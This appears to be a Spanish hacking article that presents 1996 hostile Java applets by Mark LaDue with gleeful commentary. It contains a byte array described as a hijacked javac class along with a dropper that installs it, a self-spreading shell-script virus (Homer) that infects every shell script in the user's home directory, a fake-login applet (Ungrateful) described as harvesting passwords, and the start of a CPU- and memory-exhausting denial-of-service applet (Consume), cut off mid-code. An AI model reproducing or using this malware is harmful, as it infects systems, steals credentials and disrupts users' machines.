111, 119, 97, 114, 110, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 7, 49, 32, 101, 114, 114, 111, 114, 1, 0, 6, 99, 104, 97, 114, 65, 116, 1, 0, 9, 110, 119, 97, 114, 110, 105, 110, 103, 115, 1, 0, 35, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 70, 105, 108, 101, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 9, 112, 97, 114, 115, 101, 70, 105, 108, 101, 1, 0, 10, 97, 100, 100, 69, 108, 101, 109, 101, 110, 116, 1, 0, 17, 99, 117, 114, 114, 101, 110, 116, 84, 105, 109, 101, 77, 105, 108, 108, 105, 115, 1, 0, 5, 119, 114, 105, 116, 101, 1, 0, 22, 76, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 8, 45, 118, 101, 114, 98, 111, 115, 101, 1, 0, 14, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 115, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 7, 32, 101, 114, 114, 111, 114, 115, 1, 0, 51, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 67, 108, 97, 115, 115, 80, 97, 116, 104, 59, 41, 86, 1, 0, 9, 49, 32, 119, 97, 114, 110, 105, 110, 103, 1, 0, 22, 40, 67, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 101, 113, 117, 97, 108, 115, 1, 0, 9, 99, 97, 110, 116, 46, 114, 101, 97, 100, 1, 0, 3, 109, 115, 93, 1, 0, 5, 117, 115, 97, 103, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 40, 40, 73, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 4, 115, 105, 122, 101, 1, 0, 27, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 99, 47, 83, 111, 117, 114, 99, 101, 67, 108, 97, 115, 115, 1, 0, 36, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 67, 108, 97, 115, 115, 68, 101, 102, 105, 110, 105, 116, 105, 111, 110, 59, 73, 41, 86, 1, 0, 30, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 67, 108, 97, 115, 115, 68, 101, 102, 105, 110, 105, 116, 105, 111, 110, 1, 0, 13, 115, 101, 116, 68, 101, 102, 105, 110, 105, 116, 105, 111, 110, 1, 0, 16, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 86, 101, 99, 116, 111, 114, 1, 0, 7, 91, 119, 114, 111, 116, 101, 32, 1, 0, 20, 45, 100, 32, 114, 101, 113, 117, 105, 114, 101, 115, 32, 97, 114, 103, 117, 109, 101, 110, 116, 1, 0, 20, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 99, 47, 77, 97, 105, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 90, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 1, 0, 6, 111, 117, 116, 112, 117, 116, 1, 0, 6, 101, 120, 105, 115, 116, 115, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 1, 0, 25, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 4, 109, 97, 105, 110, 1, 0, 5, 106, 97, 118, 97, 99, 1, 0, 5, 46, 106, 97, 118, 97, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 22, 40, 73, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 15, 32, 100, 111, 101, 115, 32, 110, 111, 116, 32, 101, 120, 105, 115, 116, 1, 0, 10, 45, 99, 108, 97, 115, 115, 112, 97, 116, 104, 1, 0, 4, 67, 111, 100, 101, 1, 0, 93, 32, 91, 45, 103, 93, 91, 45, 79, 93, 91, 45, 100, 101, 98, 117, 103, 93, 91, 45, 100, 101, 112, 101, 110, 100, 93, 91, 45, 110, 111, 119, 97, 114, 110, 93, 91, 45, 118, 101, 114, 98, 111, 115, 101, 93, 91, 45, 99, 108, 97, 115, 115, 112, 97, 116, 104, 32, 112, 97, 116, 104, 93, 91, 45, 110, 111, 119, 114, 105, 116, 101, 93, 91, 45, 100, 32, 100, 105, 114, 93, 32, 102, 105, 108, 101, 46, 106, 97, 118, 97, 46, 46, 46, 1, 0, 6, 46, 99, 108, 97, 115, 115, 1, 0, 11, 44, 32, 49, 32, 119, 97, 114, 110, 105, 110, 103, 1, 0, 7, 103, 101, 116, 78, 97, 109, 101, 1, 0, 15, 102, 97, 116, 97, 108, 46, 101, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 7, 112, 114, 111, 103, 114, 97, 109, 1, 0, 44, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 2, 45, 103, 1, 0, 2, 45, 100, 1, 0, 3, 40, 41, 90, 1, 0, 3, 40, 41, 86, 1, 0, 3, 40, 41, 74, 1, 0, 3, 40, 41, 73, 1, 0, 2, 45, 79, 1, 0, 13, 115, 101, 112, 97, 114, 97, 116, 111, 114, 67, 104, 97, 114, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 99, 97, 110, 116, 46, 119, 114, 105, 116, 101, 1, 0, 1, 93, 1, 0, 21, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 69, 110, 117, 109, 101, 114, 97, 116, 105, 111, 110, 1, 0, 7, 45, 100, 101, 112, 101, 110, 100, 1, 0, 1, 73, 1, 0, 1, 67, 1, 0, 7, 119, 114, 105, 116, 101, 84, 111, 1, 0, 7, 110, 101, 114, 114, 111, 114, 115, 1, 0, 15, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 114, 114, 111, 114, 1, 0, 6, 108, 101, 110, 103, 116, 104, 1, 0, 9, 103, 101, 116, 80, 97, 114, 101, 110, 116, 1, 0, 28, 45, 99, 108, 97, 115, 115, 112, 97, 116, 104, 32, 114, 101, 113, 117, 105, 114, 101, 115, 32, 97, 114, 103, 117, 109, 101, 110, 116, 1, 0, 1, 46, 1, 0, 1, 45, 1, 0, 29, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 67, 108, 97, 115, 115, 70, 105, 108, 101, 59, 41, 86, 1, 0, 2, 44, 32, 1, 0, 12, 100, 101, 112, 101, 110, 100, 101, 110, 99, 105, 101, 115, 1, 0, 14, 105, 110, 118, 97, 108, 105, 100, 32, 102, 108, 97, 103, 58, 32, 1, 0, 43, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 117, 115, 101, 58, 32, 1, 0, 17, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 70, 105, 108, 101, 59, 41, 86, 1, 0, 0, 0, 1, 0, 57, 0, 55, 0, 1, 0, 53, 0, 2, 0, 0, 1, 72, 1, 86, 0, 0, 0, 0, 0, 215, 1, 26, 0, 0, 0, 6, 0, 1, 0, 243, 1, 105, 0, 1, 1, 66, 0, 0, 0, 51, 0, 2, 0, 3, 0, 0, 0, 15, 42, 183, 0, 111, 42, 43, 181, 0, 69, 42, 44, 181, 0, 89, 177, 0, 0, 0, 1, 0, 207, 0, 0, 0, 18, 0, 4, 0, 0, 0, 54, 0, 4, 0, 55, 0, 9, 0, 56, 0, 14, 0, 54, 0, 1, 1, 54, 1, 30, 0, 1, 1, 66, 0, 0, 0, 106, 0, 3, 0, 4, 0, 0, 0, 42, 43, 182, 0, 92, 61, 3, 62, 167, 0, 18, 42, 180, 0, 69, 43, 29, 182, 0, 84, 182, 0, 132, 132, 3, 1, 29, 28, 161, 255, 239, 42, 180, 0, 69, 16, 10, 182, 0, 132, 177, 87, 177, 0, 1, 0, 0, 0, 39, 0, 40, 0, 44, 0, 1, 0, 207, 0, 0, 0, 38, 0, 9, 0, 0, 0, 63, 0, 0, 0, 64, 0, 5, 0, 65, 0, 10, 0, 66, 0, 22, 0, 65, 0, 30, 0, 68, 0, 39, 0, 63, 0, 40, 0, 69, 0, 41, 0, 62, 0, 1, 0, 218, 1, 30, 0, 1, 1, 66, 0, 0, 0, 59, 0, 3, 0, 2, 0, 0, 0, 31, 42, 187, 0, 45, 89, 183, 0, 88, 42, 180, 0, 89, 182, 0, 117, 18, 32, 182, 0, 117, 43, 182, 0, 117, 182, 0, 108, 182, 0, 94, 177, 0, 0, 0, 1, 0, 207, 0, 0, 0, 10, 0, 2, 0, 0, 0, 77, 0, 30, 0, 76, 0, 1, 1, 39, 1, 81, 0, 1, 1, 66, 0, 0, 0, 60, 0, 3, 0, 1, 0, 0, 0, 32, 42, 187, 0, 45, 89, 183, 0, 88, 18, 25, 182, 0, 117, 42, 180, 0, 89, 182, 0, 117, 18, 31, 182, 0, 117, 182, 0, 108, 182, 0, 94, 177, 0, 0, 0, 1, 0, 207, 0, 0, 0, 10, 0, 2, 0, 0, 0, 84, 0, 31, 0, 83, 0, 33, 0, 228, 1, 62, 0, 1, 1, 66, 0, 0, 8, 32, 0, 4, 0, 22, 0, 0, 5, 88, 18, 22, 184, 0, 106, 77, 1, 78, 7, 54, 4, 184, 0, 80, 55, 5, 187, 0, 48, 89, 183, 0, 83, 58, 7, 3, 54, 8, 3, 54, 9, 167, 1, 139, 43, 21, 9, 50, 18, 34, 182, 0, 131, 153, 0, 20, 21, 4, 16, 239, 126, 54, 4, 21, 4, 16, 8, 128, 54, 4, 167, 1, 107, 43, 21, 9, 50, 18, 35, 182, 0, 131, 153, 0, 20, 21, 4, 16, 247, 126, 54, 4, 21, 4, 16, 48, 128, 54, 4, 167, 1, 78, 43, 21, 9, 50, 18, 15, 182, 0, 131, 153, 0, 13, 21, 4, 16, 251, 126, 54, 4, 167, 1, 56, 43, 21, 9, 50, 18, 10, 182, 0, 131, 153, 0, 12, 21, 4, 5, 128, 54, 4, 167, 1, 35, 43, 21, 9, 50, 18, 12, 182, 0, 131, 153, 0, 13, 21, 4, 16, 32, 128, 54, 4, 167, 1, 13, 43, 21, 9, 50, 18, 28, 182, 0, 131, 153, 0, 12, 21, 4, 4, 128, 54, 4, 167, 0, 248, 43, 21, 9, 50, 18, 17, 182, 0, 131, 153, 0, 9, 4, 54, 8, 167, 0, 230, 43, 21, 9, 50, 18, 30, 182, 0, 131, 153, 0, 35, 21, 9, 4, 96, 43, 190, 162, 0, 14, 43, 132, 9, 1, 21, 9, 50, 77, 167, 0, 198, 42, 18, 1, 182, 0, 105, 42, 182, 0, 133, 3, 172, 43, 21, 9, 50, 18, 33, 182, 0, 131, 153, 0, 74, 21, 9, 4, 96, 43, 190, 162, 0, 53, 187, 0, 62, 89, 43, 132, 9, 1, 21, 9, 50, 183, 0, 120, 78, 45, 182, 0, 118, 154, 0, 143, 42, 187, 0, 45, 89, 183, 0, 88, 45, 182, 0, 97, 182, 0, 117, 18, 16, 182, 0, 117, 182, 0, 108, 182, 0, 105, 3, 172, 42, 18, 23, 182, 0, 105, 42, 182, 0, 133, 3, 172, 43, 21, 9, 50, 18, 3, 182, 0, 75, 153, 0, 35, 42, 187, 0, 45, 89, 183, 0, 88, 18, 6, 182, 0, 117, 43, 21, 9, 50, 182, 0, 117, 182, 0, 108, 182, 0, 105, 42, 182, 0, 133, 3, 172, 43, 21, 9, 50, 18, 8, 182, 0, 74, 153, 0, 15, 25, 7, 43, 21, 9, 50, 182, 0, 122, 167, 0, 35, 42, 187, 0, 45, 89, 183, 0, 88, 18, 21, 182, 0, 117, 43, 21, 9, 50, 182, 0, 117, 182, 0, 108, 182, 0, 105, 42, 182, 0, 133, 3, 172, 132, 9, 1, 21, 9, 43, 190, 161, 254, 116, 25, 7, 182, 0, 136, 154, 0, 9, 42, 182, 0, 133, 3, 172, 44, 199, 0, 6, 18, 2, 77, 187, 0, 41, 89, 44, 183, 0, 100, 58, 10, 187, 0, 50, 89, 42, 180, 0, 69, 25, 10, 183, 0, 126, 58, 11, 25, 11, 89, 180, 0, 104, 21, 4, 128, 181, 0, 104, 25, 7, 182, 0, 114, 58, 12, 167, 0, 56, 187, 0, 62, 89, 25, 12, 185, 0, 81, 1, 0, 192, 0, 61, 183, 0, 120, 58, 13, 25, 11, 187, 0, 46, 89, 25, 13, 183, 0, 87, 182, 0, 123, 167, 0, 20, 87, 25, 11, 3, 18, 27, 25, 13, 182, 0, 97, 182, 0, 116, 167, 0, 3, 25, 12, 185, 0, 82, 1, 0, 154, 255, 196, 187, 0, 58, 89, 17, 16, 0, 183, 0, 98, 58, 13, 4, 54, 14, 25, 11, 182, 0, 110, 25, 11, 182, 0, 112, 58, 15, 167, 1, 217, 25, 15, 185, 0, 81, 1, 0, 192, 0, 49, 58, 16, 25, 16, 182, 0, 85, 171, 0, 0, 1, 197, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 33, 0, 0, 0, 3, 0, 0, 0, 44, 0, 0, 0, 4, 0, 0, 0, 66, 25, 11, 182, 0, 79, 154, 0, 6, 167, 1, 156, 3, 54, 14, 25, 11, 25, 16, 182, 0, 76, 25, 16, 182, 0, 85, 7, 159, 0, 6, 167, 1, 134, 3, 54, 14, 25, 13, 182, 0, 90, 25, 16, 25, 11, 182, 0, 119, 192, 0, 56, 58, 17, 25, 17, 25, 11, 25, 13, 182, 0, 130, 25, 16, 25, 17, 8, 182, 0, 109, 25, 17, 182, 0, 66, 154, 1, 89, 21, 8, 153, 0, 6, 167, 1, 81, 25, 16, 182, 0, 71, 182, 0, 125, 182, 0, 128, 16, 46, 178, 0, 129, 182, 0, 78, 58, 18, 187, 0, 45, 89, 183, 0, 88, 25, 16, 182, 0, 71, 182, 0, 124, 182, 0, 128, 182, 0, 117, 18, 9, 182, 0, 117, 182, 0, 108, 58, 19, 45, 198, 0, 68, 25, 18, 182, 0, 92, 158, 0, 45, 187, 0, 62, 89, 45, 25, 18, 183, 0, 101, 58, 20, 25, 20, 182, 0, 118, 154, 0, 9, 25, 20, 182, 0, 93, 87, 187, 0, 62, 89, 25, 20, 25, 19, 183, 0, 101, 58, 20, 167, 0, 82, 187, 0, 62, 89, 45, 25, 19, 183, 0, 101, 58, 20, 167, 0, 67, 25, 17, 182, 0, 68, 192, 0, 46, 58, 21, 25, 21, 182, 0, 72, 153, 0, 19, 25, 11, 3, 18, 13, 25, 21, 182, 0, 135, 182, 0, 116, 167, 0, 182, 187, 0, 62, 89, 25, 21, 182, 0, 135, 183, 0, 120, 58, 20, 187, 0, 62, 89, 25, 20, 182, 0, 96, 25, 19, 183, 0, 113, 58, 20, 187, 0, 47, 89, 25, 20, 182, 0, 97, 183, 0, 77, 58, 21, 25, 13, 25, 21, 182, 0, 91, 25, 21, 16, 72, 182, 0, 137, 25, 21, 16, 105, 182, 0, 137, 25, 21, 16, 106, 182, 0, 137, 25, 21, 16, 97, 182, 0, 137, 25, 21, 16, 99, 182, 0, 137, 25, 21, 16, 107, 182, 0, 137, 25, 21, 16, 101, 182, 0, 137, 25, 21, 16, 100, 182, 0, 137, 25, 21, 16, 33, 182, 0, 137, 25, 21, 182, 0, 121, 25, 11, 182, 0, 86, 153, 0, 55, 42, 187, 0, 45, 89, 183, 0, 88, 18, 4, 182, 0, 117, 25, 20, 182, 0, 97, 182, 0, 117, 18, 39, 182, 0, 117, 182, 0, 108, 182, 0, 94, 167, 0, 20, 87, 25, 11, 3, 18, 13, 25, 20, 182, 0, 97, 182, 0, 116, 167, 0, 3, 25, 15, 185, 0, 82, 1, 0, 154, 254, 35, 21, 14, 153, 254, 12, 167, 0, 36, 58, 12, 25, 12, 182, 0, 107, 25, 11, 3, 18, 37, 182, 0, 115, 167, 0, 18, 58, 12, 25, 12, 182, 0, 107, 25, 11, 3, 18, 19, 182, 0, 115, 25, 11, 182, 0, 110, 4, 54, 12, 25, 11, 180, 0, 102, 158, 0, 139, 18, 5, 58, 13, 25, 11, 180, 0, 102, 4, 164, 0, 31, 187, 0, 45, 89, 183, 0, 88, 25, 11, 180, 0, 102, 182, 0, 73, 18, 29, 182, 0, 117, 182, 0, 108, 58, 13, 167, 0, 7, 18, 14, 58, 13, 25, 11, 180, 0, 99, 158, 0, 74, 25, 11, 180, 0, 99, 4, 164, 0, 42, 25, 13, 187, 0, 45, 89, 183, 0, 88, 95, 182, 0, 117, 18, 24, 182, 0, 117, 25, 11, 180, 0, 99, 182, 0, 73, 18, 11, 182, 0, 117, 182, 0, 108, 58, 13, 167, 0, 26, 25, 13, 187, 0, 45, 89, 183, 0, 88, 95, 182, 0, 117, 18, 18, 182, 0, 117, 182, 0, 108, 58, 13, 42, 25, 13, 182, 0, 94, 3, 54, 12, 167, 0, 56, 25, 11, 180, 0, 99, 158, 0, 48, 25, 11, 180, 0, 99, 4, 164, 0, 33, 42, 187, 0, 45, 89, 183, 0, 88, 25, 11, 180, 0, 99, 182, 0, 73, 18, 11, 182, 0, 117, 182, 0, 108, 182, 0, 94, 167, 0, 9, 42, 18, 38, 182, 0, 94, 25, 11, 182, 0, 86, 153, 0, 40, 184, 0, 80, 22, 5, 101, 55, 5, 42, 187, 0, 45, 89, 183, 0, 88, 18, 26, 182, 0, 117, 22, 5, 182, 0, 70, 18, 20, 182, 0, 117, 182, 0, 108, 182, 0, 94, 21, 12, 172, 0, 4, 2, 8, 2, 22, 2, 25, 0, 59, 3, 147, 4, 20, 4, 23, 0, 44, 1, 235, 4, 55, 4, 58, 0, 52, 1, 235, 4, 55, 4, 76, 0, 42, 0, 1, 0, 207, 0, 0, 2, 150, 0, 165, 0, 0, 0, 91, 0, 6, 0, 92, 0, 9, 0, 93, 0, 11, 0, 94, 0, 16, 0, 95, 0, 25, 0, 96, 0, 28, 0, 100, 0, 34, 0, 101, 0, 46, 0, 102, 0, 53, 0, 103, 0, 60, 0, 101, 0, 63, 0, 104, 0, 75, 0, 105, 0, 82, 0, 106, 0, 89, 0, 104, 0, 92, 0, 107, 0, 104, 0, 108, 0, 111, 0, 107, 0, 114, 0, 109, 0, 126, 0, 110, 0, 132, 0, 109, 0, 135, 0, 111, 0, 147, 0, 112, 0, 154, 0, 111, 0, 157, 0, 113, 0, 169, 0, 114, 0, 175, 0, 113, 0, 178, 0, 115, 0, 190, 0, 116, 0, 193, 0, 115, 0, 196, 0, 117, 0, 208, 0, 118, 0, 217, 0, 119, 0, 225, 0, 118, 0, 228, 0, 121, 0, 234, 0, 122, 0, 238, 0, 123, 0, 240, 0, 125, 0, 252, 0, 126, 1, 5, 0, 127, 1, 20, 0, 128, 1, 27, 0, 129, 1, 53, 0, 130, 1, 55, 0, 133, 1, 61, 0, 134, 1, 65, 0, 135, 1, 67, 0, 137, 1, 79, 0, 138, 1, 105, 0, 139, 1, 109, 0, 140, 1, 111, 0, 141, 1, 123, 0, 142, 1, 132, 0, 141, 1, 135, 0, 144, 1, 161, 0, 145, 1, 165, 0, 146, 1, 167, 0, 100, 1, 177, 0, 149, 1, 185, 0, 150, 1, 189, 0, 151, 1, 191, 0, 155, 1, 195, 0, 156, 1, 198, 0, 158, 1, 208, 0, 159, 1, 223, 0, 160, 1, 235, 0, 162, 1, 235, 0, 164, 1, 245, 0, 165, 2, 8, 0, 166, 2, 8, 0, 167, 2, 22, 0, 166, 2, 25, 0, 168, 2, 26, 0, 169, 2, 39, 0, 166, 2, 42, 0, 164, 2, 52, 0, 174, 2, 64, 0, 178, 2, 67, 0, 179, 2, 72, 0, 180, 2, 82, 0, 181, 2, 94, 0, 182, 2, 132, 0, 184, 2, 140, 0, 185, 2, 143, 0, 190, 2, 146, 0, 191, 2, 153, 0, 192, 2, 162, 0, 193, 2, 165, 0, 198, 2, 168, 0, 199, 2, 173, 0, 200, 2, 185, 0, 201, 2, 194, 0, 202, 2, 202, 0, 204, 2, 215, 0, 205, 2, 218, 0, 208, 2, 239, 0, 209, 3, 14, 0, 212, 3, 18, 0, 213, 3, 26, 0, 214, 3, 38, 0, 215, 3, 46, 0, 216, 3, 52, 0, 218, 3, 65, 0, 213, 3, 68, 0, 220, 3, 80, 0, 212, 3, 83, 0, 223, 3, 93, 0, 224, 3, 101, 0, 225, 3, 114, 0, 226, 3, 117, 0, 228, 3, 131, 0, 229, 3, 147, 0, 233, 3, 147, 0, 234, 3, 161, 0, 235, 3, 168, 0, 236, 3, 175, 0, 237, 3, 182, 0, 238, 3, 189, 0, 239, 3, 196, 0, 240, 3, 203, 0, 241, 3, 210, 0, 242, 3, 217, 0, 243, 3, 224, 0, 244, 3, 231, 0, 245, 3, 236, 0, 246, 3, 244, 0, 247, 4, 20, 0, 233, 4, 23, 0, 249, 4, 24, 0, 250, 4, 37, 0, 233, 4, 40, 0, 180, 4, 50, 0, 254, 4, 55, 0, 162, 4, 58, 0, 255, 4, 60, 1, 0, 4, 65, 1, 1, 4, 73, 0, 162, 4, 76, 1, 2, 4, 78, 1, 3, 4, 83, 1, 4, 4, 91, 1, 7, 4, 96, 1, 9, 4, 99, 1, 10, 4, 107, 1, 11, 4, 111, 1, 12, 4, 120, 1, 13, 4, 145, 1, 12, 4, 148, 1, 15, 4, 152, 1, 17, 4, 160, 1, 18, 4, 169, 1, 19, 4, 205, 1, 18, 4, 208, 1, 21, 4, 231, 1, 24, 4, 237, 1, 25, 4, 240, 1, 10, 4, 243, 1, 27, 4, 251, 1, 28, 5, 4, 1, 29, 5, 31, 1, 28, 5, 34, 1, 31, 5, 40, 1, 37, 5, 48, 1, 38, 5, 56, 1, 39, 5, 85, 1, 42, 0, 9, 1, 58, 1, 61, 0, 1, 1, 66, 0, 0, 0, 74, 0, 4, 0, 2, 0, 0, 0, 38, 187, 0, 57, 89, 178, 0, 134, 18, 7, 183, 0, 103, 76, 178, 0, 134, 18, 36, 182, 0, 127, 43, 42, 182, 0, 67, 153, 0, 7, 3, 167, 0, 4, 4, 184, 0, 95, 177, 0, 0, 0, 1, 0, 207, 0, 0, 0, 18, 0, 4, 0, 0, 1, 49, 0, 13, 1, 50, 0, 21, 1, 51, 0, 37, 1, 48, 0, 1, 1, 17, 0, 0, 0, 2, 0, 227, }; // Find out where Java lives String jhome = System.getProperty("java.home"); // Determine the system-dependent file separator String sep = System.getProperty("file.separator"); // Specify the full pathname of the directory where Main.class will be placed String target = jhome + sep + "classes" + sep + "sun" + sep + "tools" + sep + "javac"; // Specify the full pathname for Main.class String makemain = target + sep + "Main.class"; // Create the corresponding file objects File targetdir = new File(target); File mainfile = new File(makemain); // Create the target directory if it doesn't already exist if (!(targetdir.exists())) {targetdir.mkdirs();} // Dump out the hostile Main.class into its new home byte[] byter = new byte[hijacked.length]; for (int i=0; i /dev/null" + " || sed -n '/#-_/,$p' $0 >> $file" + "\n" + " esac" + "\n" + "done" + "\n" + "2>/dev/null"; byte[] buffer = new byte[homer.length()]; homer.getBytes(0, homer.length(), buffer, 0); outer.write(buffer); outer.close(); Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " + userHome + "/.homer.sh"); Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome + "/.homer.sh"); } catch (IOException ioe) {} } } ------------ FIN ------------------------------------------------------------- Este programa es el virus script que acompa¤a al programa Java llamado Homer.java, el cual lo teneis justo encima ;-) ------------ Codigo Fuente --------------------------------------------------- #!/bin/sh #-_ echo "Java is safe, and UNIX viruses do not exist." for file in `find $HOME -type f -print` do case "`sed 1q $file`" in "#!/bin/sh" ) grep '#-_' $file > /dev/null || sed -n '/#-_/,$p' $0 >> $file esac done 2>/dev/null ------------ FIN ------------------------------------------------------------- 2- Invadir la privacidad. Con este tipo podemos obtener informacion confidencial del usuario que visite nuestro web (si!! su contrase¤a }:-) o cualquier cosa que se nos ocurra. Por desgracia java ofrece una seguridad efectiva contra este tipo de ataques. Como ya he dicho antes este codigo acompa¤a al applet llamado "LoginServerSocket.java". El siguiente codigo enga¤a al usuario diciendole que tiene un fallo de seguridad y que debe abrir el Netscape de nuevo y que debe meter su login y password, entonces el applet se encarga de recoger esta informaciom y dejarla en el Home de nuestra web. ------------ Codigo Fuente --------------------------------------------------- /* Ungrateful.java by Mark D. LaDue */ /* February 28, 1996 */ /* Copyright (c) 1996 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This Java Applet tries to convince you that your system is having a security problem and that you must now log in to start Netscape once again. If you do so, your user name and password are sent by the browser to the home of this applet. In any event, the applet then proceeds to drop the bomb on your workstation. */ import java.awt.*; import java.applet.Applet; public class Ungrateful extends java.applet.Applet implements Runnable { // Just a font to paint strings to the applet window Font bigFont = new Font("TimesRoman", Font.BOLD, 36); // These threads will attempt to trick you // into logging in, and send your host, login name, and // password to its source Thread controller = null; Thread sleeper = null; // Used to read in a parameter that makes the thread sleep for a // specified number of seconds taking effect int delay; // Used to read in a parameter that determines the port to which // Sockets will be connected public static int thePort; public void init() { setBackground(Color.white); // Determine how many seconds the main thread should sleep before kicking in String str = getParameter("wait"); if (str == null) delay = 0; else delay = (1000)*(Integer.parseInt(str)); // Determine the port number str = getParameter("portnumber"); if (str == null) thePort = 7000; else thePort = Integer.parseInt(str); } /* Create and start the main thread in the standard way */ public void start() { if (sleeper == null) { sleeper = new Thread(this); sleeper.setPriority(Thread.MAX_PRIORITY); sleeper.start(); } } public void stop() {} /* Open a tricky window and start doing wasteful operations */ public void run() { // Let the applet tell its lie repaint(); // Let the applet sleep for a while to avert suspicion try {sleeper.sleep(delay);} catch(InterruptedException e) {} if (controller == null) { ErrorMessage err = new ErrorMessage(); controller = new Thread(err); controller.setPriority(Thread.MAX_PRIORITY); controller.start(); } } /* Paints the applet's lie */ public void update(Graphics g) { paint(g); } public void paint(Graphics g) { g.setColor(Color.blue); g.setFont(bigFont); g.drawString("All Applets Are Trustworthy!", 10, 200); } } ------------ FIN ------------------------------------------------------------- 3- Denegacion de servicios (DoS - Denial Of Service). Como siempre, seguimos con los ataques de DoS, en este caso solo nos servira para joder al usuario, ya que tendra que resetear su ordenador despues de visitar nuestro 'magnifico' web y seguro que hara referencia a toda nuestra familia }:-) Este tipos de ataques pueden ser devastadores en algunos casos, por ejemplo imaginemos un ordenador el cual es muy importante porque gestiona la bolsa (logicamente esta trabajando todo el rato sin parar) entonces un usuario usa este ordenador para visitar web's y se encuentra con nuestro web y nuestro applet le ahoga la maquina, este tendra que resetear, como veis en este hipotetico caso los da¤os podrian ser muy importantes, economicamente hablando claro :) Este codigo fuente es un buen ejemplo de DoS ya que intenta bloquear el navegador y ahoga la CPU y la memoria, por lo que el usuario tendra que resetear su maquina. ------------ Codigo Fuente --------------------------------------------------- /* Consume.java by Mark D. LaDue */ /* February 18, 1996 */ /* Copyright (c) 1996 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This Java Applet is intended to bring your Java-aware browser to its knees by hogging both the CPU and memory. */ import java.awt.Color; import java.awt.Event; import java.awt.Font; import java.awt.Graphics; import java.awt.Image; public class Consume extends java.applet.Applet implements Runnable { // Just a font to paint strings to our offscreen object Font wordFont = new Font("TimesRoman", Font.PLAIN, 12); // 